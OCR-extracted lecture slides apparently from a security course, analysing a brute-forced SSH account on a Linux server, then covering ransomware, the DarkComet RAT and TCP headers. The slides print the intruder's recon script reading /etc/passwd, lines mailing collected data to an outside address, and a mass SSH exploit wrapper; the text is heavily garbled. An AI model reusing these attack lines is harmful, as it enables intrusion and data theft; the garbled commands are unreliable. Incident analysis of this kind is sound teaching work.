test 31570 31569 99 21:11 pts/2 00:02:44 ./find 65.122 22
root 31593 31488 0 21:14 pts/1 00:00:00 grep test
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R R b b S b b S 4 b S 2 b I 4 b b d b b i b b e b b b b d b b S b b S b S b b b b b b b S b b S 2 R I 2 b S 4 b b d b b S b b S S b I S b b S 4

The last command shows successful login history and lastb shows failed
login history. Test had logged in twice successfully after many failed
attempts.

R R b b b I 2 b 2 b S 4 b b d b b i b b i b b b b d b b d b b S b b b b b b b b b S b b S 2 R I I b S 4 b b A b b S b b S S b S i b b i 4

[root@opus ~]# last | grep test

test pts/2 130.15.18.95.dyn Wed Nov 2 17:09 still logged in
test pts/1 130.15.18.95.dyn Wed Nov 2 17:07 - 17:09 (00:02)
[root@opus ~1#

[root@opus ~]# lastb | grep test

test ssh:notty mail.naujawani.c Mon Oct 31 09:13 - 09:13 (00:00)
test ssh:notty 190.12.37.90 Sun Oct 30 13:14 - 13:14 (00:00)
test ssh:notty 72.55.148.230 Sat Oct 29 00:59 - 00:59 (00:00)
test ssh:notty 119.188.7.143 Mon Oct 24 17:48 - 17:48 (00:00)
test ssh:notty 91.14.18.95.dyna Wed Oct 19 15:10 - 15:10 (00:00)
test ssh:notty 91.14.18.95.dyna Wed Oct 19 15:10 - 15:10 (00:00)
test ssh:notty 91.14.18.95.dyna Wed Oct 19 15:10 - 15:10 (00:00)
test ssh:notty 91.14.18.95.dyna Wed Oct 19 15:10 - 15:10 (00:00)
test ssh:notty 91.14.18.95.dyna Wed Oct 19 15:09 - 15:09 (00:00)
test ssh:notty 147.213.138.201 Sun Oct 2 05:04 - 05:04 (00:00)
test ssh:notty 147.213.138.201 Sun Oct 2 05:04 - 05:04 (00:00)
pre-test ssh:notty 10.64.25.2 Wed Sep 28 14:53 - 14:53 (00:00)
pre-test ssh:notty 10.64.25.2 Wed Sep 28 14:52 - 14:52 (00:00)
pre-test ssh:notty 10.64.25.2 Wed Sep 28 14:52 - 14:52 (00:00)
test ssh:notty 81.18.148.190 Thu Sep 22 20:29 - 20:29 (00:00)
test ssh:notty 81.18.148.190 Thu Sep 22 20:29 - 20:29 (00:00)
test ssh:notty 92.48.118.197 Thu Sep 15 03:13 - 03:13 (00:00)
test ssh:notty 92.48.118.197 Thu Sep 15 03:13 - 03:13 (00:00)
test ssh:notty 114.207.113.14 Sun Sep 11 21:35 - 21:35 (00:00)
test ssh:notty 114.207.113.14 Sun Sep 11 21:35 - 21:35 (00:00)
test ssh:notty 114.207.113.14 Sun Sep 11 18:53 - 18:53 (00:00)
test ssh:notty 114.207.113.14 Sun Sep 11 18:53 - 18:53 (00:00) 68



testl23
testuser
testuser
test
test
test
test
testuser
testuser
testd
test4
test3
test3
test?2
test2

ssh:
ssh:
ssh:
ssh:
ssh:
ssh:
ssh:
ssh:
ssh:
ssh:
ssh:
ssh:
ssh:
ssh:
ssh:
ssh:
ssh:
ssh:

ssh

ssh

notty
notty
notty
notty
notty
notty
notty
notty
notty
notty
notty
notty
notty
notty
notty
notty
notty
notty

tnotty
ssh:
ssh:
ssh:

notty
notty
notty

tnotty
ssh:
ssh:
ssh:
ssh:
ssh:
ssh:
ssh:
ssh:
ssh:
ssh:
ssh:
ssh:

notty
notty
notty
notty
notty
notty
notty
notty
notty
notty
notty
notty

108.59.5.19
108.59.5.19
118.34.131.174
118.34.131.174
rs19190.rapidspe
rs19190.rapidspe
isis.s6.coopenet
isis.s6.coopenet
173-13-131-243-s
173-13-131-243-s
wv-test2.waveclo
wv-test2.waveclo
wv—-test2.waveclo
72.46.137.86
72.46.137.86
211.254.130.122
211.254.130.122
211.254.130.122
211.254.130.122
202.117.54.131
202.117.54.131
202.117.54.131
202.117.54.131
184.82.98.199
184.82.98.199
109.123.126.188
109.123.126.188
zulu635.startded
zulu635.startded
zulu635.startded
zulu635.startded
zulu635.startded
zulu635.startded
zulu635.startded
zulu635.startded

Fri
Fri
Fri
Fri
Mon
Mon
Mon
Mon
Sun
Sun
Fri
Fri
Fri
Mon
Mon
Mon
Mon
Mon
Mon
Tue
Tue
Tue
Tue
Mon
Mon
Mon
Mon
Sat
Sat
Sat
Sat
Sat
Sat
Sat
Sat

Jul 22
Jul 22
Jul 8
Jul 8
Jun 27
Jun 27
Jun 20
Jun 20
Jun 12
Jun 12
Jun 3
Jun 3
Jun 3
May 30
May 30
May 30
May 30
May 30
May 30
May 24
May 24
May 24
May 24
May 9
May 9
May 2
May 2
Apr 30
Apr 30
Apr 30
Apr 30
Apr 30
Apr 30
Apr 30
Apr 30

18:
18:
16:
16:
12:
12:
03:
03:
12:
12:
18:
18:
18:
10:
10:
02:
02:
02:
02:
13:
13:
13:
13:
02:
02:
05:
05:
13:
13:
12:
12:
12:
12:
12:
12:

24
24
12
12
03
03
10
10
03
03
32
32
32
33
33
37
37
37
37
49
49
49
49
06
06
12
12
33
33
26
26
23
23
20
20

18:
18:
16:
16:
12:
12:
03:
03:
12:
12:
18:
18:
18:
10:
10:
02:
02:
02:
02:
13:
13:
13:
13:
02:
02:
05:
05:
13:
13:
12:
12:
12:
12:
12:
12:

e o o o o e o o o o e o e o o e o e o o o o o o o o o o

00:
00:
00:
00:
00:
00:
00:
00:
00:
00:
00:
00:
00:
00:
00:
00:
00:
00:
00:
00:
00:
00:
00:
00:
00:
00:
00:
00:
00:
00:
00:
00:
00:
00:
00:
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testl ssh:notty zulu635.startded Sat Apr 30 12:12 - 12:12 00:00
testl ssh:notty zulu635.startded Sat Apr 30 12:12 - 12:12 00:00
test ssh:notty zulu635.startded Sat Apr 30 12:09 - 12:09 00:00
test ssh:notty zulu635.startded Sat Apr 30 12:09 - 12:09 00:00
test ssh:notty zulu635.startded Sat Apr 30 12:06 - 12:06 00:00
test ssh:notty zulu635.startded Sat Apr 30 12:06 - 12:06 00:00
test ssh:notty 85.11.183.149 Fri Apr 22 18:55 - 18:55 00:00
test ssh:notty 85.11.183.149 Fri Apr 22 18:55 - 18:55 00:00
test ssh:notty 85.11.183.149 Fri Apr 22 14:39 - 14:39 00:00
test ssh:notty 85.11.183.149 Fri Apr 22 14:39 - 14:39 00:00
teste ssh:notty 65.111.174.6 Fri Mar 25 06:03 - 06:03 00:00
teste ssh:notty 65.111.174.6 Fri Mar 25 06:03 - 06:03 00:00

teste ssh:notty 204.188.208.90 Wed Mar 23 12:01 - 12:01

teste ssh:notty 204.188.208.90 Wed Mar 23 12:01 - 12:01 00:00
teste ssh:notty 204.188.208.90 Wed Mar 23 12:01 - 12:01 00:00
test ssh:notty vz1l-164.netfirms Fri Mar 11 06:32 - 06:32 :

test ssh:notty vz1-164.netfirms Fri Mar 11 06:32 - 06:32 00:00
test ssh:notty 174.137.57.11 Sat Mar 5 21:02 - 21:02 00:00
test ssh:notty 174.137.57.11 Sat Mar 5 21:02 - 21:02 00:00
test ssh:notty 85.25.144.24 Thu Mar 3 16:01 - 16:01 00:00
test ssh:notty 85.25.144.24 Thu Mar 3 16:01 - 16:01 00:00
test ssh:notty 208.116.36.170 Mon Feb 28 12:00 - 12:00 00:00
test ssh:notty 208.116.36.170 Mon Feb 28 12:00 - 12:00 00:00
test ssh:notty nsc209.177.229-7 Sun Feb 20 09:25 - 09:25 00:00
test ssh:notty nsc209.177.229-7 Sun Feb 20 09:25 - 09:25 00:00
test ssh:notty 123.13.201.202 Mon Feb 14 13:26 - 13:26 00:00

test ssh:notty 123.13.201.202 Mon Feb 14 13:26 - 13:26
testl ssh:notty 123.13.201.202 Mon Feb 14 13:26 - 13:26

(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
teste ssh:notty 204.188.208.90 Wed Mar 23 12:01 - 12:01 (00:00
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(

testl ssh:notty 123.13.201.202 Mon Feb 14 13:26 - 13:26 00:00
test ssh:notty 8.7.128.200 Fri Feb 11 17:30 - 17:30 00:00
test ssh:notty 8.7.128.200 Fri Feb 11 17:30 - 17:30 00:00
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test is now running a program named r00t
R R b b b b b b b b b b b b b b b b b b b b b b b b b b b e b b b b b b b b b b b b b b b b b b b b 2 b b 4 b b 4 b b 4 b b db b b i I b 4 i b a4

top - 21:03:06 up 63 days, 2:51, 2 users, load average: 2.00, 2.04, 2.00
Tasks: 112 total, 4 running, 108 sleeping, 0 stopped, 0 zombie

Cpu(s) : 6.6%us, 16.9%sy, 0.0%ni, 0.0%id, 0.0%wa, 0.0%hi, 76.4%si, 0.0%st
Mem: 1035140k total, 906456k used, 128684k free, 95116k buffers
Swap: 2097144k total, 248k used, 2096896k free, 88036k cached
PID USER PR NI VIRT RES SHR S %CPU SMEM TIME+ COMMAND
30002 test 25 0 1544 424 356 R 97.1 0.0 197:37.40 r00t
22608 apache 15 0 26388 12m 3848 s 3.0 1.3 1:04.27 httpd
31446 rsimms 15 0 2320 1020 800 R 0.3 0.1 0:00.13 top
1 root 15 0 2072 608 524 s 0.0 0.1 0:03.75 init
2 root RT -5 0 0 0sS 0.0 0.0 0:00.00 migration/0
3 root 34 19 0 0 0O R 0.0 0.0 0:02.80 ksoftirgd/0
4 root RT -5 0 0 0s 0.0 0.0 0:00.00 watchdog/0
5 root 10 -5 0 0 0SS 0.0 0.0 0:00.35 events/O0
6 root 10 -5 0 0 0s 0.0 0.0 0:00.00 khelper
7 root 20 =5 0 0 0SS 0.0 0.0 0:00.00 kthread
10 root 10 -5 0 0 0s 0.0 0.0 0:00.63 kblockd/O0
11 root 20 =5 0 0 0Ss 0.0 0.0 0:00.00 kacpid
169 root 17 -5 0 0 0s 0.0 0.0 0:00.00 cqueue/0
172 root 17 =5 0 0 0 s 0.0 0.0 0:00.00 khubd
174 root 10 -5 0 0 0Ss 0.0 0.0 0:00.00 kseriod
238 root 15 0 0 0 0sS 0.0 0.0 0:17.38 pdflush
239 root 15 0 0 0 0s 0.0 0.0 0:15.13 pdflush
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The files found in the test accounts home directory
IR I b b b b b b b b b b i b b b b b b b b b b b b b b b b b b b b b b b db b b b b b db b b 4 b i b b 4 b b 4 b b i b b 4 b b dh b b i b b b b b b b4

[root@opus ~]# 1ls -1Ra /home/cisl72/testuser/
/home/cisl72/testuser/:

total 112

ArwXrwxrwx
drwx—-—-——-—--
drwxr-xr-x
ArwXrwxrwx
P We———————
- rw-r—--r--
—-Irw-r—--r-—-
- rw-r—--r--
—-Irw-Yr—--r—-

drwxr-xr-x
drwxr-xr—-x
drwxr-xr-x

ArwXrwxrwx

<snipped>

3
9
29
2
1

NS O R R

N

test
test
root
test
test
test
test
test
test
test
test
test
test
test

test
test
root
test
test
test
test
test
test
test
test
test
test
test

4096
4096
4096
4096
479
33
176
124
515
4096
4096
4096
4096
4096

Nov
Nov
Nov
Nov
Nov
Oct
Oct
Oct
Oct
Mar
Oct
Nov
Oct
Nov

N

N
N ONDO B & DTN WWDN

[

18:
17:
07:
17:
12:
11:
11:
11:
11:

00
07
25
23
51
28
28
28
28

2002

11:
17:
05:
21:

28
09
39
11

.as
.bash history
.bash logout
.bash profile
.bashrc
.emacs

.mass
.mozilla

.scC

.ssh

.unix
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[rsimms@myopus testuser]$ 1s -a

.bash history .bash profile .emacs .mozilla .ssh
.as .bash logout .bashrc .mass .sc .unix
[rsimms@myopus testuser]$ find . | wc -1

213

[rsimms@myopus testuser]$ cat .sc/7

cat info2 | mail -s "Scanner TASE Port : ?2? | Pass
rm -rf info2

cat vuln.txt |mail -s "Roots" djmarckyy@yahoo.com

[rsimms@myopus testuser]$

[rsimms@myopus testuser]$ cat .sc/al
cat vuln.txt |mail -s "Roots" djmarckyy@yahoo.com

stii tu

:))" djmarckyy@yahoo.com
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[rsimms@myopus testuser]$ cat .sc/start
#!/bin/bash

echo "[+] [+] [+] RK [+] [+] [+]1"™ >> info?2

echo "[+] [+] [+] IP [+] [+] [+]™ >> info2
/sbin/ifconfig -a >> info2

echo "[+] [+] [+] uptime [+] [+] [+]" >> info2
uptime >> info2

echo "[+] [+] [+] uname -a [+] [+] [+]" >> info2
uname -a >> info?2

echo "[+] [+] [+] /etc/issue [+] [+] [+]1" >> info2
cat /etc/issue >> info2

echo "[+] [+] [+] passwd [+] [+] [+]" >> info2

cat /etc/passwd >> info2

echo "[+] [+] [+] id [+] [+] [+]™ >> info2

id >> info2

echo "[+] [+] [+] Spatiu HAd / pwd [+] [+] [+]" >> info2
df -h >> info2

pwd >> info2

v

rm -rf info?2

clear
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[rsimms@myopus testuser]$ cat .sc/start
#!/bin/bash
< snipped >

echo "#####HHHHHHFFHFHHFHFAHFAAFAAHAAAAAASAASAFSAAFSAFSASAAASASS AR SASAASATSE"

echo "# . "

echo "# o .- "
echo "# / \ "
echo "# | zRR | "
echo "# l, .= = ] "
echo "# I ) (z_/ Nz_) (| "
echo "# |/ /\ \ "
echo "# _ (. ~n ) "
echo "# A )\ \__ITITIITI|_ / "
echo "# (I 1{}< | -\IIIIII/-| zRR zRR zRR \ "
echo "# / )/ \ / "
echo "# N "
echo "# SCANER PRIVAT "
echo "# SCANER FOLOSIT DOAR DE TEAMUL zRRTEAM "
echo "# SACNERUL CONTINE UN PASS FLIE DE 3MEGA !! "

SYOY YOI 5 5 i i i

if [ -f a ]; then
./a $1.
./a $1.
./a $1.
./a $1.
./a $1.
./a $1.
./a $1.
./a $1.

~N o U W IN B O
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[rsimms@myopus ]$ cat ./kswap.session
linkport -1

set BANMODES 6

niCk Svant set OPMODES 6
login narod tog SPY 1
ircname Cocosatul de la Notre Dame channel #Mark
cmdchar + tog MASS O

userfile mech3.users

set BANMODES 6 server 130.237.188.216 7000

set OPMODES 6 server 208.83.20.130 6667
tog SPY 1 server 69.16.172.40 6667
channel #facpamata server 195.197.175.21 7000

tog MASS 0 server graz.at.Eu.UnderNet.org 6667

nick Kill3r server Helsinki.FI.EU.Undernet.org 6667
login putulica server Lelystad.NL.EU.UnderNet.Org 6667
ircname Pula Bleaga server trondheim.no.eu.undernet.org 6667
Cdeh?r + server Zagreb.Hr.EU.UnderNet.org 6667
userfile mech2.users server Dallas.TX.US.Undernet.org 6667

server mesa.az.us.undernet.org 6667
server Tampa.FL.US.Undernet.org 6667
server mesa2.az.us.undernet.org 6667

set BANMODES 6
set OPMODES 6

tog SPY 1 server 161.53.178.240 6667

channel f#facpamata server 69.16.172.40 7000

tog MASS 0 server 217.168.95.245 6667

nlck Vortex- server Elsene.Be.Eu.undernet.org 6667
login Vortex [rsimms@myopus 1S

ircname I will kill you !
cmdchar +
userfile mechl.users 76
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[rsimms@myopus ]$ cat ./kswap.set SERVER 130.237.188.216 7000

#Bot 1 SERVER 208.83.20.130 6667

NICK Vortex-— SERVER 69.16.172.40 6667

USERFILE mechl.users SERVER 195.197.175.21 7000

CMDCHAR + SERVER graz.at.Eu.UnderNet.org 6667

LOGIN Vortex SERVER Helsinki.FI.EU.Undernet.org 6667

IRCNAME I will kill you ! SERVER Lelystad.NL.EU.UnderNet.Org 6667

MODES +ix SERVER trondheim.no.eu.undernet.org 6667

#VIRTUAL virtual .hosts.com SERVER Zagreb.Hr.EU.UnderNet.org 6667

#NOSHELLCMD SERVER Dallas.TX.US.Undernet.org 6667
SERVER mesa.az.us.undernet.org 6667

TOG CC 1 SERVER Tampa.FL.US.Undernet.org 6667

SERVER mesaZ2.az.us.undernet.org 6667

TOG CLOAK 1 #End of bot 1
TOG SPY 1
SET OPMODES 6 #Bot 2
SET BANMODES © NICK Kill3r
USERFILE mech2.users
CHANNEL #Mark CMDCHAR +
TOG PUB 1 LOGIN putulica
TOG MASS 0 IRCNAME Pula Bleaga
TOG SHIT 0 MODES +ix
TOG PROT 0 #VIRTUAL virtual.hosts.com
TOG ENFM 0 #NOSHELLCMD
SET MDL 2
SET MKL 2 TOG CC 1
SET MBL 2
SET MPL 1 TOG CLOAK
TOG SPY

SET OPMODES
SET BANMODES

o O
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CHANNEL #facpamata MODES +ix
TOG PUB 1 #VIRTUAL virtual.hosts.com
TOG MASS 0 #NOSHELLCMD
TOG SHIT 0
TOG PROT 0 TOG CC 1
TOG ENEM 0
SET MDL 2 TOG CLOAK 1
SET MKL 2 TOG SPY 1
SET MBL 2 SET OPMODES 6
SET MPL 1 SET BANMODES 6
SERVER 130.237.188.216 7000 CHANNEL #facpamata
SERVER 208.83.20.130 6667 TOG PUB 1
SERVER 195.197.175.21 7000 TOG MASS 0
SERVER 161.53.178.240 6667 TOG SHIT 0
SERVER 69.16.172.40 7000 TOG PROT 0
SERVER 217.168.95.245 6667 TOG ENFM 0
SERVER Lelystad.NL.EU.UnderNet.Org 6667 SET MDL 2
SERVER trondheim.no.eu.undernet.org 6667 SET MKL 2
SERVER Zagreb.Hr.EU.UnderNet.org 6667 SET MBL 2
SERVER Dallas.TX.US.Undernet.org 6667 SET MPL 1
SERVER mesa.az.us.undernet.org 6667
SERVER Tampa.FL.US.Undernet.org 6667 SERVER 195.197.175.21 7000
SERVER mesaZ2.az.us.undernet.org 6667 SERVER 130.237.188.216 7000
SERVER 69.16.172.40 6667
#Bot 3 SERVER Elsene.Be.Eu.undernet.org 6667
NICK Svant SERVER graz.at.Eu.UnderNet.org 6667
USERFILE mech3.users SERVER Helsinki.FI.EU.Undernet.org 6667
CMDCHAR + SERVER Lelystad.NL.EU.UnderNet.Org 6667
LOGIN narod SERVER trondheim.no.eu.undernet.org 6667
IRCNAME Cocosatul de la Notre Dame SERVER Zagreb.Hr.EU.UnderNet.org 6667
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SERVER Dallas.TX.US.Undernet.org 6667
SERVER mesa.az.us.undernet.org 6667

SERVER Tampa.FL.US.Undernet.org 6667
SERVER mesaZ2.az.us.undernet.org 6667

#End of bot 3

[rsimms@myopus 1$
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[rsimms@myopus

handle
mask
prot
aop
channel
access

handle
mask
prot
aop
channel
access

handle
mask
prot
aop
channel
access

[rsimms@myopus

1% cat ./mechl.users

Mark

* 1 *@Winmarkt.users.undernet.org
4

*

100

blackperl
* 1 *dblackperl.users.undernet.org
4

*

100

Eu-
*1*Q@167.users.undernet.org

sl A f
.
7 ]
5
)
A A
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[rsimms@myopus randfiles]$ cat randinsult.e

And tell me, are you still making Nightly installments on your new car?

Any similarity between you and a human is purely coincidental.

Are you always this stupid or are you making a special effort today?

Can I borrow your face for a few days? My ass is going on holiday.

Congratulations; you're a perfect argument against brother-sister marriages.

Do YOU ever get tired of having yourself around?

Do you have your easygoing nature because you're too heavy to run, or just too fat to
fight?

Don't I know you from high school, back when you only had one stomach and one chin?

Don't let you mind wander - it's far too small to be let out on its own.

Don't tell me - I know who you are! Yeah, you're the reason they made birth control...
Follow Cobain's footsteps, blow your brains out. It's not like you've got much to
lose...

For a minute there I didn't recognize you. It was the happiest minute of my 1life.

Go fart peas at the moon!

Hi! I'm a human! What are you?

can tell that you are lying - your lips are moving.

can't remember your name, but your nasty attitude is kinda familar...

don't know what I'd do without you, but I'd like to try.

don't know what makes you tick, but I hope it's a time bomb.

Jjust figured something out: if I bought you for what *I* thought you were worth, and
sold you for what *you* thought you were worth, I'd be the richest guy in the world...
I like you better the more I see you less.

I thought of you today. I was at the zoo.

I would have liked to insult you, but the sad truth is that you wouldn't understand me.
I'd smack the shit out of you if I didn't think it would fill up the room

I'll swear eternal friendship to anyone who hates you as much as I do.

I'm sure you'll be alright when the marijuana wears off.

< snipped >

HH H H H
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[rsimms@myopus ssh]$ cat tryssh

cd ssh

VER=""./scanssh $1 | awk '{print $2}'""

a="0"

if [ "SVER" = "SSH-1.5-1.2.27" ]1; then

echo "Vulnerable S$VER found ... exploiting... "
./x2 -t 1 $1

a="1"

fi

if [ "SVER" = "SSH-1.5-1.2.26" ]; then

echo "Vulnerable SVER found ... exploiting... "
./x2 -t 1 81

a="1"

fi

if [ "SVER" = "SSH-1.5-1.2.28" ]; then

echo "Vulnerable S$VER found ... exploiting... "
./x2 -t 1 $1

a="1"

fi

if [ "SVER" = "SSH-1.5-1.2.29" ]; then

echo "Vulnerable $VER found ... exploiting... "
./x2 -t 1 81

a="1"

fi

< snipped > 2
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[rsimms@myopus testuser]$ cat .mass/lpd/network.c

/* scut's leet network library ;)
1999 (c) scut

*

*

* networking routines

* based on my hbot networking sources,

* revised, extended and adapted 990405

* extended, improved and fixed 990430

*

* nearly all of this code wouldn't have been possible without w. richard steven S
* excellent network coding book. if you are interested in network coding,

* there is no way around it.

*/

#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/time.h>
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[rsimms@myopus testuser]$ cat .sc/start
#!/bin/bash

< snipped >

./a $1.242
./a $1.243

./a $1.244 Romanian - detected ~ 4 «

./a $1.245
./a $1.246 Ciudat ..Nu Ai Urmat Instructiunile
./a $1.247 trebui dat mv assh a sau mv scan a

.;a 21’222 orice ai avea tu ... dohh ..
./a )

./a $1.250

./a $1.251

./a $1.252

./a $1.253

./a $1.254

./a $1.255

./al

killall -9 a

else

echo # Ciudat ..Nu Al Urmat Instructiunile #
echo # trebui dat mv assh a sau mv scan a #
echo # orice ai avea tu ... dohh .. #
killall -9 a

killall -9 pscan?

fi

[rsimms@myopus testuser]s$

English ~ LD

You follow the instructions strange ..Nu
ASSH be given to mv or mv scan the
dohh whatever you have you ... ..

Open in Google Translate
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- ] X
£ 2 Analysis of a Hack - iuve 7 X '-._\
€« — C [} www.iuvotech.com/analysis-of-a-hack/ =
Home  AboutUs ~  Services ~  Team ~  Insights  Careers »  ContactUs  Free Tools Q -

Post Analysis

Since the compromise was discovered, and the attacker did not get root, they could
not cover up or delete the logs. Even the attempt to unset HISTFILE did not remove
the history file. Looking at the log file, it was clear that the 10's of thousands of
attempts on ssh login was able to exploit a weak password. Firewalls, encrypted
protocols and locked down files and permissions were all thwarted by a weak
password and brute force trying of passwords to ssh

So what does this all have to do with the Simpsons?

The other nugget was in a piece of code that was found. | found a rough translation for
maost of it, which didn't make much sense. The last word. .. Pure Homer Simpson.

echo § Ciudat ._Hu 21 Urmat Instructiunile §
echo & trebul dat mv a3sh & Iau mwv 3can a i
echo # orice ai avea tu ... dohh

always available, and worth sharing

“Dohh”
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Malware
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Viruses 7
WO rms See textbook on
— these types of
Spywa re malware
Keyloggers _
Ransomware

Trojans and RATs
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https://www.voutube.com/watch Opening a word doc attachment from an
unknown sender can get quite expensive!

€ @ twbersthmi6dx65f.onion/ EE35415C60507325

We present a specil software - Locky Decryptor™ -
which allows to decrypt and retum control to al your encrypted files.

How to buy Locky Decryptor™?

You get new
wallpaper
announcing
the bad news

You can make a payment with BtCoins, there are many methods to get them.
You should register BtCoin wallet:

Simplest online wallet or Some other methods of creating wallet

Purchasing Bitcoins, although &t's not yet easy to buy bitcoins, t's getting smpler every day.

BEEy—=)
- - locabitcoins.com (WU) Buy Bitcoins with Westem Union.
QO (5 toares + it s Smpepicrss — Wi - s concfe.com Recommended for fast, smple service.
| File Edt View Took Help | Payment Methods: Westem Union, Bank of America, Cash by FedEx, Moneygram, Money Order. In NYC: =
| - Bitcon ATM, in person.
Orgenise Shwewithv  Sideshow  Newfoides =+ 0
o 2] cabtcons.com Service alows you o search for people n your communty wilng to sel bicoins to you directy.
471 Favorites Pictures library b Fida cex.io Buy Bitcoins with VISA/MASTERCARD or wire transfer.
M Desitop Picture B btcdirect.eu  The best for Europe.
& Downloads bitquick.co Buy Bitcoins instantly for cash. .
8 Recert lces howtobuvbEcons.nfo An intemational drectory of bitcon exchanges. I t t
ceshintocoins.com Bitcon for cash. ns rUC IOnS
4 4 Libraries coinjar.com CoinJar allows direct bitcon purchases on ther stte. fOI" a in
S ey paying
& M) Lockyrecoveri  desktopini  EBSSAISCEOSOT3) EBSSAISCEOSO7) EBSSAISCEOSOT) EBSSAISCEOSOVS  EBSSAISCGOSOTI2  EBSSAISCEOSOT32  EBESAISCEOSOTI bittyicious.com
nstructions SESTEBEICAOA3  SEDCDAIIESIC  SCINIISTH0M  SDEASMTACESE 2 260
| Pioures Fr2locky 6CDLIocky Btlocky 6RJocky TiEdocky BBEJocky C49.ocky the ransol ' '
B Video: Send 0.5 BTC to Bcon address:
1% Computer
1F7zN8rAmfYf5jSWBJcelrPEENVXugFcZX
@ Network te: Payment pending up to 30 mins or more for transaction confymation, please be patient
EBSS415CE050732
S38487F06F1805
Cod T

not found

All documents on the PC have been 3 Refesn the page and dowrioa decrptr
enc ryp te d an d rename d ‘ When Bitcoin transactions wil receive one confirmation, you wil be redrected to the page for downloading the decryptor.

A recent survey by Malwarebytes of 500
businesses found 40% had experienced a
ransomware attack.
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RAT (Remote Administration Tool)

s E [=]f 2%
ﬁ “@. Users (1) On Conneck ;l Userslogs 0 Socket | Met |i|—|—|

h3ock, bn] IP wani[La,.. Computer MamefU,.., ©3.5P.a.. % RA,.. LanguagefCountry A, Camera Fing Idle At
l S Unclassed users
BS540 Guestlf..  216.1.1.1... SERYER | SYSTEM windows ... 31% English {United 3t...  x ars 1011s
BH Contral : [SERVER / SYSTEM], Sacket : [1640], [ @]=]
4@ System Info # | @] System Monitor | | ®E Computer Information | S Trace Map
@] Syskern Monitar ||
----- ®E Computer Info Type value |-
< % Trace _Map Server Connexion
4 -5 Fun Functions
%4 Fun Manager Corippskin=-tt==t A
Piano COMMHost Name: SERVER,
MessageBox Server |05 Name: Microsoft(R) Windows(R) Server 2003, E
-4, Microsoft Reader counl 05 Version: 5.2.3790 Build 3790
M JEl Remate Chat = 03 Marufacturer: Microsoft Corporation =
4 -0y System Functions Name 03 Configquration: Primary Domain Controller
{8 Process Manager Operigs Build Type: Tniprocessor Free
@ Remate Registry ScregRegistered Ouner: Student
|!| Remate Shell N Mo Registered Organization: College
% UpEeslEE Active TE2M 1 e Manager : [SERVER / SYSTEM), Socket : [1640]
M - Uninstall Applicatiol SysDi g G = =
I System Privileges WinDi yaten Uy = ’_Q_" X Ll i Send =g 4= Receive
< 5 ’ dysten N
- - Hasts File User | Systen X ) )
Remote MSConfig 1 Mame Type Size Mame Type Size
@ Services Skartup Mac ffsten T4 Ty Folder " Folder -
Processo =o
£ Registry Startup Syste &« Folder W ompanysir Zealaries-Do. .. %L5% File 9,50 KB
Remote Scripting COMPETNS Verd | oD Falder || Marked-by-Benji-Simms.txt  Text Document 0.00E..,
(8] Heml Scripting BIOS If Windous |
E®| Batch .Scripting Bins 0 S¥sten D
w7 VB Scripting X Eoot Dew
Files manager igs}T System L
L4 Explorer Files Bios T Input Lo
ol Search for files Bios ¥ Time Zon
[» - Passwords | Datas Server | TOERL Fh
> %% MM Functions dvailabl
@ Spy Functions IEIVE Pagge F}l
. Webcam Capture Mute: Page F:!'l
) Sound Capture uup| Page F}l < = I v
[ remaote Deskhop Keylo lzaue Fil
" Keylogger I
.Al--."_'l? ‘I;.I‘:twork Functionls - % CiASalary) w
] n 2 -

|

DarkComet - transfer files to and from victim system
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- =] &3
ﬁ L@. Users (1) On Conneck 1, Userslogs =2 Socket [ MNet |£|—I—|

h3ock j(n] IP wan/[La... Computer MamefU... ©05.5P.a... % RA... Language/Country A, Camera Fing Idle At
B Unclassed users
BEE 1540 Guestld.,..  216.1.1.1 Couwco L LCed Lt 4

U Control : [SERVER / SYSTEM, Sacket : [1640], f=ie =]
Webcam Capture  » '@‘ Fun Manager |== Send Messagebox “ Microsoft Reader

) Sound Capture
=7 Remote Desktop Icon Type Send Message To Custom Window
|5 Keylogger

9 etwork Functi e s selected item as message windaw
etwork Functions
h 1 Mone
. Active Ports o e

s Netwark Shares ﬁ indoiians
I Server SocksS
! LAM Computers
d Net Gabeway Msgbox Core
..... = IP Scanner f Message Title :  DarkComet-RAT
* Ul Download
_| Browse Page
@ Redirect InjPart Wisit my web-site
S WIFI Access pointe htkp:/fdarkcomet-rat. com/
> % Misc Functions
? Compuker Power
Poweroff

) shutdawn @ Test =p Send " Refresh

Message

o
1 Restart Socket

B Server Actions

Lock Computer
L4 Restart Server
(%) Close Server
E. Uninstall Server
@ Upload and Execut
—Q Remote Edit Server
*1 Take notes
Update Server
l’Iﬁ From Url
8 From File
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DarkComet - Dialog to put message on Victims screen
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Shichao's Notes

n- Contents - Shichao’s No* €3

& Cc | @ https://notes.shichao.io/tcpvl/ 13(| o :

Shichao's Notes APUE~ LKD~ UNP~  TCPvl~ TOC €) GitHub

TCPv1

TCPv1

* Chapter 1. Introduction
» Chapter 2. The Internet Address Architecture

* Chapter 3. Link Layer Rea//y nICe

» Chapter 4. ARP: Address Resolution Protocol
* Chapter 5. The Internet Protocol (IP) reference
® Chapter 6. System Configuration: DHCP and Autoconfiguration - »

* Chapter 7. Firewalls and Network Address Translation (NAT) used mn thls
* Chapter 8. ICMPv4 and ICMPv6: Internet Control Message Protocol Sectlon

» Chapter 9. Broadcasting and Local Multicasting (IGMP and MLD)

* Chapter 10. User Datagram Protocel (UDP) and IP Fragmentation

* Chapter 11. Name Resolution and the Domain Name System (DNS)
* Chapter 12. TCP: The Transmission Control Protocol (Preliminaries)
* Chapter 13. TCP Connection Management

» Chapter 14. TCP Timeout and Retransmission

* Chapter 15. TCP Data Flow and Window Management

® Chapter 16. TCP Congestion Control

* Chapter 17. TCP Keepalive

® Chapter 18. Security: EAP, IPsec, TLS, DNSSEC, and DKIM

* Headers
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TCP Segment and Header

<+——— TCP Segment »

The TCP segment is encapsulated

IP Header Jree TGP (Appication) Data inside an IP datagram.

Proto (IPv4) or Next Header (IPvE) =6

The TCP header enables creating and

(20 bytes—IPv4, no options; (20 bytes, . . .
40 bytes—IPv5) nooptons) closing connections and sending data
- atagram > . .
in a reliable way.
0 15 16 3
Source Port Destination Port A
(16 bits) (186 bits)
Sequence Number
_ (32 bits)
Basic
TCP
Header TCP
(20 bytes) | Header Resv (0) Header
Length (4 bits)
(4 bits)
TCP Checksum Urgent Pointer
(16 bits) (16 bits)
Options i
(variable) Y
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TCP Sequence and Acknowledgement Numbers

The Sequence Number identifies the byte in the
stream of data from the sender to the receiver that the
first byte of data in the containing segment represents.

